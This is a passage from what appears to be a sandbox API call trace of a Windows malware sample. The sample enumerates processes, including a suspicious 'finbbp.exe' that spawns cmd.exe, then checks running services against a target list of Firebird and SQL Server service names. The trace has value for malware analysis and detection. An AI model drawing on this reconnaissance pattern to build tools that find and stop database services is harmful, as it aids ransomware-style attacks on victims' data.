lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.460] lstrlenW (lpString="svchost.exe") returned 11 [0219.460] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0219.460] lstrlenW (lpString="audiodg.exe") returned 11 [0219.460] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0219.461] lstrlenW (lpString="sihost.exe") returned 10 [0219.461] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.461] lstrlenW (lpString="svchost.exe") returned 11 [0219.461] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0219.462] lstrlenW (lpString="MDMAgent.exe") returned 12 [0219.462] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0219.462] lstrlenW (lpString="taskhostw.exe") returned 13 [0219.463] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0219.463] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0219.463] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0219.464] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0219.464] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0219.465] lstrlenW (lpString="Memory Compression") returned 18 [0219.465] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0219.465] lstrlenW (lpString="explorer.exe") returned 12 [0219.465] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0219.466] lstrlenW (lpString="SearchUI.exe") returned 12 [0219.466] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0219.466] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0219.467] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0219.467] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0219.467] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0219.468] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0219.468] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0219.468] lstrlenW (lpString="finbbp.exe") returned 10 [0219.468] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0219.469] lstrlenW (lpString="cmd.exe") returned 7 [0219.469] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0219.469] lstrlenW (lpString="conhost.exe") returned 11 [0219.469] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0219.470] lstrlenW (lpString="finbbp.exe") returned 10 [0219.470] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 0 [0219.470] CloseHandle (hObject=0x2d8) returned 1 [0219.470] Sleep (dwMilliseconds=0x1f4) [0222.665] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ad728 [0222.665] EnumServicesStatusExW (in: hSCManager=0x6ad728, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0222.666] GetLastError () returned 0xea [0222.666] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1b58) returned 0x6d2d38 [0222.666] EnumServicesStatusExW (in: hSCManager=0x6ad728, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6d2d38, cbBufSize=0x1b58, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6d2d38, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0222.667] CloseServiceHandle (hSCObject=0x6ad728) returned 1 [0222.668] lstrlenW (lpString="AppXSvc") returned 7 [0222.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0222.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0222.668] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0222.668] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0222.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0222.668] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0222.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0222.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0222.668] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0222.668] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0222.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0222.668] lstrlenW (lpString="Audiosrv") returned 8 [0222.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0222.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0222.668] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0222.668] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0222.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0222.668] lstrlenW (lpString="BFE") returned 3 [0222.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0222.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0222.668] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0222.668] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0222.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0222.668] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0222.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0222.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0222.668] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0222.668] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0222.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0222.669] lstrlenW (lpString="CDPSvc") returned 6 [0222.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0222.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0222.669] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0222.669] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0222.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0222.669] lstrlenW (lpString="ClickToRunSvc") returned 13 [0222.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0222.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0222.669] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0222.669] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0222.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0222.669] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0222.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0222.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0222.669] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0222.669] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0222.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0222.669] lstrlenW (lpString="CryptSvc") returned 8 [0222.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0222.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0222.669] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0222.669] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0222.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0222.670] lstrlenW (lpString="DcomLaunch") returned 10 [0222.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0222.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0222.670] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0222.670] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0222.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0222.670] lstrlenW (lpString="DeviceAssociationService") returned 24 [0222.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0222.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0222.670] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0222.670] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0222.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0222.670] lstrlenW (lpString="Dhcp") returned 4 [0222.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0222.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0222.670] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0222.670] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0222.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0222.670] lstrlenW (lpString="Dnscache") returned 8 [0222.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0222.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0222.671] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0222.671] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0222.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0222.671] lstrlenW (lpString="DPS") returned 3 [0222.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0222.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0222.671] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0222.671] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0222.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0222.671] lstrlenW (lpString="DusmSvc") returned 7 [0222.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0222.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0222.671] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0222.671] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0222.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0222.671] lstrlenW (lpString="EventLog") returned 8 [0222.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0222.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0222.671] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0222.671] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0222.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0222.671] lstrlenW (lpString="EventSystem") returned 11 [0222.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0222.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0222.672] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0222.672] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0222.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0222.672] lstrlenW (lpString="FontCache") returned 9 [0222.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0222.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0222.672] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0222.672] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0222.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0222.672] lstrlenW (lpString="gpsvc") returned 5 [0222.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0222.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0222.672] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0222.672] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0222.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0222.672] lstrlenW (lpString="iphlpsvc") returned 8 [0222.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0222.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0222.672] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0222.672] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0222.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0222.672] lstrlenW (lpString="KeyIso") returned 6 [0222.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0222.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0222.672] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0222.672] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0222.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0222.672] lstrlenW (lpString="LanmanServer") returned 12 [0222.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0222.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0222.673] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0222.673] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0222.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0222.673] lstrlenW (lpString="LanmanWorkstation") returned 17 [0222.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0222.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0222.673] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0222.673] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0222.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0222.673] lstrlenW (lpString="lfsvc") returned 5 [0222.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0222.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0222.673] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0222.673] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0222.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0222.673] lstrlenW (lpString="lmhosts") returned 7 [0222.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0222.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0222.673] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0222.673] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0222.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0222.673] lstrlenW (lpString="LSM") returned 3 [0222.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0222.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0222.673] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0222.673] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0222.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0222.673] lstrlenW (lpString="MpsSvc") returned 6 [0222.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0222.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0222.673] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0222.674] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0222.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0222.674] lstrlenW (lpString="NcbService") returned 10 [0222.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0222.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0222.674] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0222.674] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0222.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0222.674] lstrlenW (lpString="netprofm") returned 8 [0222.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0222.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0222.674] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0222.674] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0222.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0222.674] lstrlenW (lpString="NgcSvc") returned 6 [0222.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0222.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0222.674] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0222.674] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0222.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0222.674] lstrlenW (lpString="NlaSvc") returned 6 [0222.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0222.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0222.674] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0222.674] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0222.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0222.674] lstrlenW (lpString="nsi") returned 3 [0222.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0222.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0222.674] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0222.675] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0222.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0222.675] lstrlenW (lpString="PcaSvc") returned 6 [0222.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0222.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0222.675] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0222.675] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0222.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0222.675] lstrlenW (lpString="PlugPlay") returned 8 [0222.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0222.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0222.675] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0222.675] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0222.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0222.675] lstrlenW (lpString="Power") returned 5 [0222.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0222.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0222.675] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0222.675] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0222.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0222.675] lstrlenW (lpString="ProfSvc") returned 7 [0222.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0222.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0222.675] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0222.675] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0222.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0222.675] lstrlenW (lpString="RpcEptMapper") returned 12 [0222.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0222.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0222.675] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0222.675] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0222.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0222.676] lstrlenW (lpString="RpcSs") returned 5 [0222.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0222.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0222.676] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0222.676] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0222.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0222.676] lstrlenW (lpString="SamSs") returned 5 [0222.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0222.676] lstrcmpiW 